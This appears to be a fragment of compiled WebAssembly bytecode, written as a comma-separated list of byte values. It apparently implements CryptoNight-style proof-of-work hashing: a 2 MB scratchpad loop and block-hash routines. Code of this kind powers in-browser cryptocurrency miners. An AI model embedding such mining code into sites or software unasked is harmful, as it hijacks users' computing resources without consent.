4,32,13,33,5,32,7,69,4,64,32,4,16,12,11,65,128,204,0,32,6,65,237,14,106,32,8,106,32,9,106,32,4,32,6,106,106,32,10,106,32,11,106,32,12,106,32,1,106,32,5,106,34,1,65,127,106,173,55,3,0,32,0,65,0,54,2,0,32,0,65,4,106,34,1,32,1,46,1,0,65,126,113,59,1,0,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,6,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,7,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,8,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,9,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,10,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,11,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,12,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,13,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,14,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,15,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,16,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,17,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,18,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,19,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,20,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,21,32,1,32,1,46,1,0,65,2,114,59,1,0,32,2,65,128,131,128,1,106,32,0,54,2,0,32,3,36,4,32,2,11,227,11,1,9,127,35,4,33,3,35,4,65,208,2,106,36,4,32,3,66,0,55,2,0,32,3,66,0,55,2,8,32,3,66,0,55,2,16,32,3,66,0,55,2,24,32,3,66,0,55,2,32,32,3,66,0,55,2,40,32,3,66,0,55,2,48,32,3,65,0,54,2,56,32,3,65,60,106,34,11,65,128,128,4,54,2,0,32,3,65,136,1,106,34,5,65,0,54,2,0,32,3,65,192,0,106,34,6,65,0,54,2,0,32,3,65,196,0,106,34,4,65,0,54,2,0,32,3,65,140,1,106,34,7,65,0,54,2,0,32,3,32,0,32,1,65,255,255,255,255,1,113,34,8,16,24,32,1,65,192,255,255,255,1,113,34,1,32,8,73,4,64,3,64,32,0,32,1,106,44,0,0,33,9,32,5,32,5,40,2,0,34,10,65,1,106,54,2,0,32,3,65,200,0,106,32,10,106,32,9,58,0,0,32,1,65,1,106,34,1,32,8,71,13,0,11,11,32,7,40,2,0,34,1,4,64,32,3,32,5,40,2,0,106,65,199,0,106,34,0,65,1,32,1,116,65,127,106,65,8,32,1,107,116,32,0,45,0,0,113,58,0,0,32,3,32,5,40,2,0,106,65,199,0,106,34,0,65,1,65,7,32,7,40,2,0,107,116,32,0,45,0,0,115,58,0,0,32,7,65,0,54,2,0,5,32,5,32,5,40,2,0,34,0,65,1,106,54,2,0,32,3,65,200,0,106,32,0,106,65,128,127,58,0,0,11,2,64,2,64,32,5,40,2,0,34,0,65,56,74,4,64,32,0,65,192,0,72,4,64,3,64,32,5,32,0,65,1,106,54,2,0,32,3,65,200,0,106,32,0,106,65,0,58,0,0,32,5,40,2,0,34,0,65,192,0,72,13,0,11,11,32,3,32,3,65,200,0,106,65,192,0,16,24,32,5,65,0,54,2,0,65,0,33,0,12,1,5,32,0,65,56,71,13,1,11,12,1,11,3,64,32,5,32,0,65,1,106,54,2,0,32,3,65,200,0,106,32,0,106,65,0,58,0,0,32,5,40,2,0,34,0,65,56,72,13,0,11,11,32,6,32,6,40,2,0,65,1,106,34,1,54,2,0,32,1,69,4,64,32,4,32,4,40,2,0,65,1,106,54,2,0,11,32,5,65,192,0,54,2,0,65,192,0,33,0,3,64,32,5,32,0,65,127,106,34,0,54,2,0,32,3,65,200,0,106,32,0,106,32,1,58,0,0,32,1,65,8,118,33,1,32,5,40,2,0,34,0,65,60,74,13,0,11,32,6,32,1,54,2,0,32,0,65,56,74,4,64,32,4,40,2,0,33,1,3,64,32,5,32,0,65,127,106,34,0,54,2,0,32,3,65,200,0,106,32,0,106,32,1,58,0,0,32,1,65,8,118,33,1,32,5,40,2,0,34,0,65,56,74,13,0,11,32,4,32,1,54,2,0,11,32,3,32,3,65,200,0,106,65,192,0,16,24,32,3,65,144,2,106,34,4,32,3,41,2,0,55,2,0,32,4,32,3,41,2,8,55,2,8,32,4,32,3,41,2,16,55,2,16,32,4,32,3,41,2,24,55,2,24,32,4,32,3,41,2,32,55,2,32,32,4,32,3,41,2,40,55,2,40,32,4,32,3,41,2,48,55,2,48,32,4,32,3,41,2,56,55,2,56,32,4,32,3,65,208,1,106,34,1,65,0,16,10,32,1,32,3,65,144,1,106,34,0,65,1,16,10,32,0,32,1,65,2,16,10,32,1,32,0,65,3,16,10,32,0,32,1,65,4,16,10,32,1,32,0,65,5,16,10,32,0,32,1,65,6,16,10,32,1,32,0,65,7,16,10,32,0,32,1,65,8,16,10,32,1,32,4,65,9,16,10,32,3,32,3,40,2,0,32,4,40,2,0,115,54,2,0,32,3,65,4,106,34,0,32,0,40,2,0,32,4,40,2,4,115,54,2,0,32,3,65,8,106,34,0,32,0,40,2,0,32,4,40,2,8,115,54,2,0,32,3,65,12,106,34,0,32,0,40,2,0,32,4,40,2,12,115,54,2,0,32,3,65,16,106,34,0,32,0,40,2,0,32,4,40,2,16,115,54,2,0,32,3,65,20,106,34,0,32,0,40,2,0,32,4,40,2,20,115,54,2,0,32,3,65,24,106,34,0,32,0,40,2,0,32,4,40,2,24,115,54,2,0,32,3,65,28,106,34,0,32,0,40,2,0,32,4,40,2,28,115,54,2,0,32,3,65,32,106,34,0,40,2,0,32,4,40,2,32,115,33,6,32,0,32,6,54,2,0,32,3,65,36,106,34,0,40,2,0,32,4,40,2,36,115,33,7,32,0,32,7,54,2,0,32,3,65,40,106,34,0,40,2,0,32,4,40,2,40,115,33,8,32,0,32,8,54,2,0,32,3,65,44,106,34,0,40,2,0,32,4,40,2,44,115,33,9,32,0,32,9,54,2,0,32,3,65,48,106,34,0,40,2,0,32,4,40,2,48,115,33,10,32,0,32,10,54,2,0,32,3,65,52,106,34,0,40,2,0,32,4,40,2,52,115,33,1,32,0,32,1,54,2,0,32,3,65,56,106,34,0,32,0,40,2,0,32,4,40,2,56,115,54,2,0,32,11,32,11,40,2,0,32,4,40,2,60,115,54,2,0,32,2,32,6,58,0,0,32,2,32,6,65,8,118,58,0,1,32,2,32,6,65,16,118,58,0,2,32,2,32,6,65,24,118,58,0,3,32,2,32,7,58,0,4,32,2,32,7,65,8,118,58,0,5,32,2,32,7,65,16,118,58,0,6,32,2,32,7,65,24,118,58,0,7,32,2,32,8,58,0,8,32,2,32,8,65,8,118,58,0,9,32,2,32,8,65,16,118,58,0,10,32,2,32,8,65,24,118,58,0,11,32,2,32,9,58,0,12,32,2,32,9,65,8,118,58,0,13,32,2,32,9,65,16,118,58,0,14,32,2,32,9,65,24,118,58,0,15,32,2,32,10,58,0,16,32,2,32,10,65,8,118,58,0,17,32,2,32,10,65,16,118,58,0,18,32,2,32,10,65,24,118,58,0,19,32,2,32,1,58,0,20,32,2,32,1,65,8,118,58,0,21,32,2,32,1,65,16,118,58,0,22,32,2,32,3,44,0,55,58,0,23,32,2,32,0,44,0,0,58,0,24,32,2,32,3,44,0,57,58,0,25,32,2,32,3,44,0,58,58,0,26,32,2,32,3,44,0,59,58,0,27,32,2,32,11,44,0,0,58,0,28,32,2,32,3,44,0,61,58,0,29,32,2,32,3,44,0,62,58,0,30,32,2,32,3,44,0,63,58,0,31,32,3,36,4,11,93,1,1,127,32,1,32,0,72,32,0,32,1,32,2,106,72,113,4,64,32,1,32,2,106,33,1,32,0,34,3,32,2,106,33,0,3,64,32,2,65,0,74,4,64,32,2,65,1,107,33,2,32,0,65,1,107,34,0,32,1,65,1,107,34,1,44,0,0,58,0,0,12,1,11,11,32,3,33,0,5,32,0,32,1,32,2,16,11,26,11,32,0,11,180,13,1,11,127,35,4,33,6,35,4,65,160,3,106,36,4,32,6,34,7,65,128,4,54,2,0,32,7,65,128,2,54,2,8,32,7,65,32,106,34,3,65,192,41,41,3,0,55,3,0,32,3,65,200,41,41,3,0,55,3,8,32,3,65,208,41,41,3,0,55,3,16,32,3,65,216,41,41,3,0,55,3,24,32,3,65,224,41,41,3,0,55,3,32,32,3,65,232,41,41,3,0,55,3,40,32,3,65,240,41,41,3,0,55,3,48,32,3,65,248,41,41,3,0,55,3,56,32,7,65,16,106,34,13,66,0,55,3,0,32,7,65,24,106,34,11,66,128,128,128,128,128,128,128,128,240,0,55,3,0,32,7,65,12,106,34,12,65,0,54,2,0,32,7,65,8,106,33,9,32,1,65,255,255,255,255,1,113,34,6,65,127,106,34,10,65,64,113,33,8,32,1,65,3,116,65,135,4,75,4,64,32,9,32,0,32,10,65,6,118,65,192,0,16,23,32,6,32,8,107,33,6,32,0,32,8,106,33,0,11,32,6,4,64,32,9,65,216,0,106,32,12,40,2,0,34,1,106,32,0,32,6,16,11,26,32,12,32,1,32,6,106,54,2,0,11,32,7,65,160,2,106,33,4,2,64,2,64,2,64,2,64,32,7,40,2,0,65,8,118,65,3,113,14,3,2,1,0,3,11,32,7,65,8,106,33,9,32,11,32,11,41,3,0,66,128,128,128,128,128,128,128,128,128,127,132,55,3,0,32,12,40,2,0,34,0,65,192,0,73,4,64,32,9,65,216,0,106,32,0,106,65,0,65,192,0,32,0,107,16,14,26,11,32,9,32,7,65,224,0,106,34,5,65,1,32,0,16,23,32,9,40,2,0,65,7,106,65,3,118,33,8,32,5,66,0,55,3,0,32,5,66,0,55,3,8,32,5,66,0,55,3,16,32,5,66,0,55,3,24,32,5,66,0,55,3,32,32,5,66,0,55,3,40,32,5,66,0,55,3,48,32,5,66,0,55,3,56,32,4,32,3,41,3,0,55,3,0,32,4,32,3,41,3,8,55,3,8,32,4,32,3,41,3,16,55,3,16,32,4,32,3,41,3,24,55,3,24,32,4,32,3,41,3,32,55,3,32,32,4,32,3,41,3,40,55,3,40,32,4,32,3,41,3,48,55,3,48,32,4,32,3,41,3,56,55,3,56,32,8,4,64,32,8,65,127,106,65,6,118,33,10,65,0,33,6,65,0,33,0,3,64,32,5,32,6,173,55,3,0,32,13,66,0,55,3,0,32,11,66,128,128,128,128,128,128,128,128,127,55,3,0,32,12,65,0,54,2,0,32,9,32,5,65,1,65,8,16,23,32,2,32,0,106,32,3,32,8,32,0,107,34,0,65,192,0,73,4,127,32,0,5,65,192,0,11,16,11,26,32,3,32,4,41,3,0,55,3,0,32,3,32,4,41,3,8,55,3,8,32,3,32,4,41,3,16,55,3,16,32,3,32,4,41,3,24,55,3,24,32,3,32,4,41,3,32,55,3,32,32,3,32,4,41,3,40,55,3,40,32,3,32,4,41,3,48,55,3,48,32,3,32,4,41,3,56,55,3,56,32,6,65,1,106,34,1,65,6,116,33,0,32,6,32,10,71,4,64,32,1,33,6,12,1,11,11,11,32,7,36,4,15,11,32,7,65,8,106,33,10,32,11,32,11,41,3,0,66,128,128,128,128,128,128,128,128,128,127,132,55,3,0,32,12,40,2,0,34,0,65,32,73,4,64,32,10,65,56,106,32,0,106,65,0,65,32,32,0,107,16,14,26,11,32,10,32,7,65,192,0,106,34,8,65,1,32,0,16,25,32,10,40,2,0,65,7,106,65,3,118,33,6,32,8,66,0,55,3,0,32,8,66,0,55,3,8,32,8,66,0,55,3,16,32,8,66,0,55,3,24,32,4,32,3,41,3,0,55,3,0,32,4,32,3,41,3,8,55,3,8,32,4,32,3,41,3,16,55,3,16,32,4,32,3,41,3,24,55,3,24,32,6,4,64,65,0,33,0,3,64,32,8,32,0,173,55,3,0,32,13,66,0,55,3,0,32,11,66,128,128,128,128,128,128,128,128,127,55,3,0,32,12,65,0,54,2,0,32,10,32,8,65,1,65,8,16,25,32,2,32,0,106,32,3,32,6,32,0,107,34,1,65,32,73,4,127,32,1,5,65,32,11,16,11,26,32,3,32,4,41,3,0,55,3,0,32,3,32,4,41,3,8,55,3,8,32,3,32,4,41,3,16,55,3,16,32,3,32,4,41,3,24,55,3,24,32,6,32,0,65,32,106,34,0,75,13,0,11,11,32,7,36,4,15,11,32,11,32,11,41,3,0,66,128,128,128,128,128,128,128,128,128,127,132,55,3,0,32,12,40,2,0,34,0,65,128,1,73,4,64,32,7,65,160,1,106,32,0,106,65,0,65,128,1,32,0,107,16,14,26,11,32,7,65,8,106,34,8,32,7,65,160,1,106,34,5,65,1,32,0,16,26,32,8,40,2,0,65,7,106,65,3,118,33,9,32,5,66,0,55,3,0,32,5,66,0,55,3,8,32,5,66,0,55,3,16,32,5,66,0,55,3,24,32,5,66,0,55,3,32,32,5,66,0,55,3,40,32,5,66,0,55,3,48,32,5,66,0,55,3,56,32,5,66,0,55,3,64,32,5,66,0,55,3,72,32,5,66,0,55,3,80,32,5,66,0,55,3,88,32,5,66,0,55,3,96,32,5,66,0,55,3,104,32,5,66,0,55,3,112,32,5,66,0,55,3,120,32,4,32,3,41,3,0,55,3,0,32,4,32,3,41,3,8,55,3,8,32,4,32,3,41,3,16,55,3,16,32,4,32,3,41,3,24,55,3,24,32,4,32,3,41,3,32,55,3,32,32,4,32,3,41,3,40,55,3,40,32,4,32,3,41,3,48,55,3,48,32,4,32,3,41,3,56,55,3,56,32,4,32,3,41,3,64,55,3,64,32,4,32,3,41,3,72,55,3,72,32,4,32,3,41,3,80,55,3,80,32,4,32,3,41,3,88,55,3,88,32,4,32,3,41,3,96,55,3,96,32,4,32,3,41,3,104,55,3,104,32,4,32,3,41,3,112,55,3,112,32,4,32,3,41,3,120,55,3,120,32,9,4,64,32,9,65,127,106,65,7,118,33,10,65,0,33,6,65,0,33,0,3,64,32,5,32,6,173,55,3,0,32,13,66,0,55,3,0,32,11,66,128,128,128,128,128,128,128,128,127,55,3,0,32,12,65,0,54,2,0,32,8,32,5,65,1,65,8,16,26,32,2,32,0,106,32,3,32,9,32,0,107,34,0,65,128,1,73,4,127,32,0,5,65,128,1,11,16,11,26,32,3,32,4,41,3,0,55,3,0,32,3,32,4,41,3,8,55,3,8,32,3,32,4,41,3,16,55,3,16,32,3,32,4,41,3,24,55,3,24,32,3,32,4,41,3,32,55,3,32,32,3,32,4,41,3,40,55,3,40,32,3,32,4,41,3,48,55,3,48,32,3,32,4,41,3,56,55,3,56,32,3,32,4,41,3,64,55,3,64,32,3,32,4,41,3,72,55,3,72,32,3,32,4,41,3,80,55,3,80,32,3,32,4,41,3,88,55,3,88,32,3,32,4,41,3,96,55,3,96,32,3,32,4,41,3,104,55,3,104,32,3,32,4,41,3,112,55,3,112,32,3,32,4,41,3,120,55,3,120,32,6,65,1,106,34,1,65,7,116,33,0,32,6,32,10,71,4,64,32,1,33,6,12,1,11,11,11,32,7,36,4,15,11,32,7,36,4,11,214,9,2,4,127,2,126,35,4,33,3,35,4,65,224,1,106,36,4,32,3,65,8,106,34,5,66,0,55,3,8,32,3,65,128,2,54,2,0,32,3,65,32,106,34,4,65,176,62,41,0,0,55,0,0,32,4,65,184,62,41,0,0,55,0,8,32,4,65,192,62,41,0,0,55,0,16,32,4,65,200,62,41,0,0,55,0,24,32,4,65,208,62,41,0,0,55,0,32,32,4,65,216,62,41,0,0,55,0,40,32,4,65,224,62,41,0,0,55,0,48,32,4,65,232,62,41,0,0,55,0,56,32,4,65,240,62,41,0,0,55,0,64,32,4,65,248,62,41,0,0,55,0,72,32,4,65,128,63,41,0,0,55,0,80,32,4,65,136,63,41,0,0,55,0,88,32,4,65,144,63,41,0,0,55,0,96,32,4,65,152,63,41,0,0,55,0,104,32,4,65,160,63,41,0,0,55,0,112,32,4,65,168,63,41,0,0,55,0,120,32,5,32,1,65,3,116,34,1,173,34,7,55,3,0,32,1,65,255,3,75,4,127,32,3,65,160,1,106,33,1,3,64,32,1,32,0,32,8,167,106,34,4,41,0,0,55,0,0,32,1,32,4,41,0,8,55,0,8,32,1,32,4,41,0,16,55,0,16,32,1,32,4,41,0,24,55,0,24,32,1,32,4,41,0,32,55,0,32,32,1,32,4,41,0,40,55,0,40,32,1,32,4,41,0,48,55,0,48,32,1,32,4,41,0,56,55,0,56,32,3,16,22,32,8,66,192,0,124,33,8,32,7,66,128,124,124,34,7,66,255,3,86,13,0,11,32,8,167,5,65,0,11,33,1,32,3,65,16,106,33,4,32,7,66,0,82,4,64,32,3,65,160,1,106,33,6,32,0,32,1,106,33,0,32,7,66,3,136,66,63,131,33,8,32,7,66,7,131,66,0,81,4,127,32,6,32,0,32,8,167,16,11,5,32,6,32,0,32,8,66,1,124,167,16,11,11,26,32,4,32,7,55,3,0,11,32,5,41,3,0,34,7,66,255,3,131,34,8,66,0,81,4,64,32,3,65,160,1,106,34,0,66,0,55,3,0,32,0,66,0,55,3,8,32,0,66,0,55,3,16,32,0,66,0,55,3,24,32,0,66,0,55,3,32,32,0,66,0,55,3,40,32,0,66,0,55,3,48,32,0,66,0,55,3,56,32,0,65,128,127,58,0,0,32,3,32,7,60,0,223,1,32,3,32,7,66,8,136,60,0,222,1,32,3,32,7,66,16,136,60,0,221,1,32,3,32,7,66,24,136,60,0,220,1,32,3,32,7,66,32,136,60,0,219,1,32,3,32,7,66,40,136,60,0,218,1,32,3,32,7,66,48,136,60,0,217,1,32,3,32,7,66,56,136,60,0,216,1,32,3,16,22,5,32,8,66,3,136,33,8,32,4,41,3,0,66,7,131,66,0,81,4,64,32,8,167,34,0,65,192,0,73,4,64,32,3,32,0,65,160,1,106,106,65,0,65,192,0,32,0,107,16,14,26,11,5,32,8,66,1,124,167,34,0,65,192,0,73,4,64,32,3,32,0,65,160,1,106,106,65,0,65,192,0,32,0,107,16,14,26,11,11,32,3,65,160,1,106,32,7,66,3,136,167,65,63,113,106,34,0,65,1,32,7,167,65,7,113,65,7,115,116,32,0,45,0,0,114,58,0,0,32,3,16,22,32,3,65,160,1,106,34,0,66,0,55,3,0,32,0,66,0,55,3,8,32,0,66,0,55,3,16,32,0,66,0,55,3,24,32,0,66,0,55,3,32,32,0,66,0,55,3,40,32,0,66,0,55,3,48,32,0,66,0,55,3,56,32,3,32,5,41,3,0,34,7,60,0,223,1,32,3,32,7,66,8,136,60,0,222,1,32,3,32,7,66,16,136,60,0,221,1,32,3,32,7,66,24,136,60,0,220,1,32,3,32,7,66,32,136,60,0,219,1,32,3,32,7,66,40,136,60,0,218,1,32,3,32,7,66,48,136,60,0,217,1,32,3,32,7,66,56,136,60,0,216,1,32,3,16,22,11,2,64,2,64,2,64,2,64,2,64,32,3,40,2,0,65,160,126,106,34,0,65,5,118,32,0,65,27,116,114,14,10,0,1,4,4,4,2,4,4,4,3,4,11,32,2,32,3,65,132,1,106,34,0,41,0,0,55,0,0,32,2,32,0,41,0,8,55,0,8,32,2,32,0,41,0,16,55,0,16,32,2,32,0,40,0,24,54,0,24,32,3,36,4,15,11,32,2,32,3,65,128,1,106,34,0,41,0,0,55,0,0,32,2,32,0,41,0,8,55,0,8,32,2,32,0,41,0,16,55,0,16,32,2,32,0,41,0,24,55,0,24,32,3,36,4,15,11,32,2,32,3,65,240,0,106,34,0,41,0,0,55,0,0,32,2,32,0,41,0,8,55,0,8,32,2,32,0,41,0,16,55,0,16,32,2,32,0,41,0,24,55,0,24,32,2,32,0,41,0,32,55,0,32,32,2,32,0,41,0,40,55,0,40,32,3,36,4,15,11,32,2,32,3,65,224,0,106,34,0,41,0,0,55,0,0,32,2,32,0,41,0,8,55,0,8,32,2,32,0,41,0,16,55,0,16,32,2,32,0,41,0,24,55,0,24,32,2,32,0,41,0,32,55,0,32,32,2,32,0,41,0,40,55,0,40,32,2,32,0,41,0,48,55,0,48,32,2,32,0,41,0,56,55,0,56,32,3,36,4,15,11,32,3,36,4,11,209,6,1,14,127,35,4,33,3,35,4,65,144,1,106,36,4,32,3,65,231,204,167,208,6,54,2,0,32,3,65,4,106,34,10,65,133,221,158,219,123,54,2,0,32,3,65,8,106,34,11,65,242,230,187,227,3,54,2,0,32,3,65,12,106,34,12,65,186,234,191,170,122,54,2,0,32,3,65,16,106,34,13,65,255,164,185,136,5,54,2,0,32,3,65,20,106,34,14,65,140,209,149,216,121,54,2,0,32,3,65,24,106,34,15,65,171,179,143,252,1,54,2,0,32,3,65,28,106,34,16,65,153,154,131,223,5,54,2,0,32,3,65,32,106,34,7,66,0,55,2,0,32,7,66,0,55,2,8,32,7,66,0,55,2,16,32,7,66,0,55,2,24,32,3,32,0,32,1,173,66,3,134,16,17,32,3,65,137,1,106,34,1,65,129,127,58,0,0,32,3,65,136,1,106,34,0,65,1,58,0,0,32,3,65,128,1,106,34,5,32,3,40,2,52,32,3,40,2,56,34,6,32,3,65,48,106,34,4,40,2,0,34,9,106,34,8,32,6,73,106,34,7,65,24,118,58,0,0,32,5,32,7,65,16,118,58,0,1,32,5,32,7,65,8,118,58,0,2,32,5,32,7,58,0,3,32,5,32,8,65,24,118,58,0,4,32,5,32,8,65,16,118,58,0,5,32,5,32,8,65,8,118,58,0,6,32,5,32,8,58,0,7,32,6,65,184,3,70,4,64,32,4,32,9,65,120,106,54,2,0,32,3,32,1,66,8,16,17,32,4,40,2,0,33,0,5,32,6,65,184,3,72,4,64,32,6,69,4,64,32,3,65,1,54,2,60,11,32,4,32,9,65,200,124,106,32,6,106,54,2,0,32,3,65,240,61,65,184,3,32,6,107,172,16,17,5,32,4,32,9,65,128,124,106,32,6,106,54,2,0,32,3,65,240,61,65,128,4,32,6,107,172,16,17,32,4,32,4,40,2,0,65,200,124,106,54,2,0,32,3,65,241,61,66,184,3,16,17,32,3,65,1,54,2,60,11,32,3,32,0,66,8,16,17,32,4,32,4,40,2,0,65,120,106,34,0,54,2,0,11,32,4,32,0,65,64,106,54,2,0,32,3,32,5,66,192,0,16,17,32,2,32,3,40,2,0,34,0,65,24,118,58,0,0,32,2,32,0,65,16,118,58,0,1,32,2,32,0,65,8,118,58,0,2,32,2,32,0,58,0,3,32,2,32,10,40,2,0,34,0,65,24,118,58,0,4,32,2,32,0,65,16,118,58,0,5,32,2,32,0,65,8,118,58,0,6,32,2,32,0,58,0,7,32,2,32,11,40,2,0,34,0,65,24,118,58,0,8,32,2,32,0,65,16,118,58,0,9,32,2,32,0,65,8,118,58,0,10,32,2,32,0,58,0,11,32,2,32,12,40,2,0,34,0,65,24,118,58,0,12,32,2,32,0,65,16,118,58,0,13,32,2,32,0,65,8,118,58,0,14,32,2,32,0,58,0,15,32,2,32,13,40,2,0,34,0,65,24,118,58,0,16,32,2,32,0,65,16,118,58,0,17,32,2,32,0,65,8,118,58,0,18,32,2,32,0,58,0,19,32,2,32,14,40,2,0,34,0,65,24,118,58,0,20,32,2,32,0,65,16,118,58,0,21,32,2,32,0,65,8,118,58,0,22,32,2,32,0,58,0,23,32,2,32,15,40,2,0,34,0,65,24,118,58,0,24,32,2,32,0,65,16,118,58,0,25,32,2,32,0,65,8,118,58,0,26,32,2,32,0,58,0,27,32,2,32,16,40,2,0,34,0,65,24,118,58,0,28,32,2,32,0,65,16,118,58,0,29,32,2,32,0,65,8,118,58,0,30,32,2,32,0,58,0,31,32,3,36,4,11,135,20,2,20,127,7,126,35,4,33,3,35,4,65,208,1,106,36,4,32,3,32,1,41,0,0,55,0,0,32,3,32,1,41,0,8,55,0,8,32,3,32,1,41,0,16,55,0,16,32,3,32,1,41,0,24,55,0,24,32,3,32,1,41,0,32,55,0,32,32,3,32,1,41,0,40,55,0,40,32,3,32,1,41,0,48,55,0,48,32,3,32,1,41,0,56,55,0,56,32,3,32,1,41,0,64,55,0,64,32,3,32,1,40,0,72,54,0,72,32,3,65,208,0,106,34,4,66,0,55,3,0,32,4,66,0,55,3,8,32,4,66,0,55,3,16,32,4,66,0,55,3,24,32,4,66,0,55,3,32,32,4,66,0,55,3,40,32,4,66,0,55,3,48,32,4,66,0,55,3,56,32,4,66,0,55,3,64,32,4,66,0,55,3,72,32,4,66,0,55,3,80,32,4,66,0,55,3,88,32,4,66,0,55,3,96,32,4,66,0,55,3,104,32,4,66,0,55,3,112,32,3,65,200,0,106,34,4,32,4,41,3,0,66,255,255,255,255,15,131,66,128,128,128,128,16,132,55,3,0,32,3,66,128,128,128,128,128,128,128,128,128,127,55,3,128,1,32,3,65,8,106,34,4,32,4,40,2,0,65,0,115,54,2,0,32,3,16,21,32,0,65,128,128,128,1,106,34,13,32,3,65,200,1,16,11,26,32,0,65,208,129,128,1,106,34,4,32,0,65,192,128,128,1,106,34,5,41,3,0,55,3,0,32,4,32,5,41,3,8,55,3,8,32,4,32,5,41,3,16,55,3,16,32,4,32,5,41,3,24,55,3,24,32,4,32,5,41,3,32,55,3,32,32,4,32,5,41,3,40,55,3,40,32,4,32,5,41,3,48,55,3,48,32,4,32,5,41,3,56,55,3,56,32,4,32,5,41,3,64,55,3,64,32,4,32,5,41,3,72,55,3,72,32,4,32,5,41,3,80,55,3,80,32,4,32,5,41,3,88,55,3,88,32,4,32,5,41,3,96,55,3,96,32,4,32,5,41,3,104,55,3,104,32,4,32,5,41,3,112,55,3,112,32,4,32,5,41,3,120,55,3,120,32,0,65,192,129,128,1,106,41,3,0,33,29,32,1,41,3,35,33,24,32,0,65,128,131,128,1,106,34,9,40,2,0,32,13,16,20,32,0,65,224,129,128,1,106,33,16,32,0,65,240,129,128,1,106,33,17,32,0,65,128,130,128,1,106,33,18,32,0,65,144,130,128,1,106,33,19,32,0,65,160,130,128,1,106,33,20,32,0,65,176,130,128,1,106,33,21,32,0,65,192,130,128,1,106,33,22,65,0,33,1,3,64,32,4,32,9,40,2,0,40,2,0,40,2,12,16,9,32,16,32,9,40,2,0,40,2,0,40,2,12,16,9,32,17,32,9,40,2,0,40,2,0,40,2,12,16,9,32,18,32,9,40,2,0,40,2,0,40,2,12,16,9,32,19,32,9,40,2,0,40,2,0,40,2,12,16,9,32,20,32,9,40,2,0,40,2,0,40,2,12,16,9,32,21,32,9,40,2,0,40,2,0,40,2,12,16,9,32,22,32,9,40,2,0,40,2,0,40,2,12,16,9,32,0,32,1,106,34,6,32,4,41,0,0,55,0,0,32,6,32,4,41,0,8,55,0,8,32,6,32,4,41,0,16,55,0,16,32,6,32,4,41,0,24,55,0,24,32,6,32,4,41,0,32,55,0,32,32,6,32,4,41,0,40,55,0,40,32,6,32,4,41,0,48,55,0,48,32,6,32,4,41,0,56,55,0,56,32,6,32,4,41,0,64,55,0,64,32,6,32,4,41,0,72,55,0,72,32,6,32,4,41,0,80,55,0,80,32,6,32,4,41,0,88,55,0,88,32,6,32,4,41,0,96,55,0,96,32,6,32,4,41,0,104,55,0,104,32,6,32,4,41,0,112,55,0,112,32,6,32,4,41,0,120,55,0,120,32,1,65,128,1,106,34,1,65,128,128,128,1,73,13,0,11,32,24,32,29,133,33,29,32,0,65,208,130,128,1,106,34,6,32,0,65,160,128,128,1,106,34,23,41,3,0,32,13,41,3,0,133,34,24,55,3,0,32,0,65,216,130,128,1,106,34,12,32,0,65,168,128,128,1,106,41,3,0,32,0,65,136,128,128,1,106,41,3,0,133,55,3,0,32,0,65,224,130,128,1,106,34,10,32,0,65,176,128,128,1,106,41,3,0,32,0,65,144,128,128,1,106,41,3,0,133,55,3,0,32,0,65,232,130,128,1,106,34,14,32,0,65,184,128,128,1,106,41,3,0,32,0,65,152,128,128,1,106,41,3,0,133,55,3,0,32,0,65,240,130,128,1,106,33,11,32,0,65,248,130,128,1,106,33,15,65,0,33,1,32,24,167,33,7,3,64,32,0,32,7,65,240,255,255,0,113,106,34,7,32,11,32,6,16,18,32,7,32,10,41,3,0,32,11,41,3,0,133,55,3,0,32,7,32,14,41,3,0,32,15,41,3,0,133,34,24,55,3,8,32,7,65,144,166,29,32,24,66,27,136,167,65,6,113,32,24,66,24,136,167,34,7,65,1,113,114,65,1,116,118,65,48,113,32,7,115,58,0,11,32,11,41,3,0,34,26,66,32,136,33,24,32,0,32,11,40,2,0,65,240,255,255,0,113,106,34,7,41,3,0,34,28,66,32,136,34,30,32,26,66,255,255,255,255,15,131,34,25,126,33,26,32,28,66,255,255,255,255,15,131,34,27,32,25,126,33,25,32,26,32,27,32,24,126,124,32,25,66,32,136,124,34,27,66,32,134,32,25,66,255,255,255,255,15,131,132,32,12,41,3,0,124,33,25,32,6,32,6,41,3,0,32,30,32,24,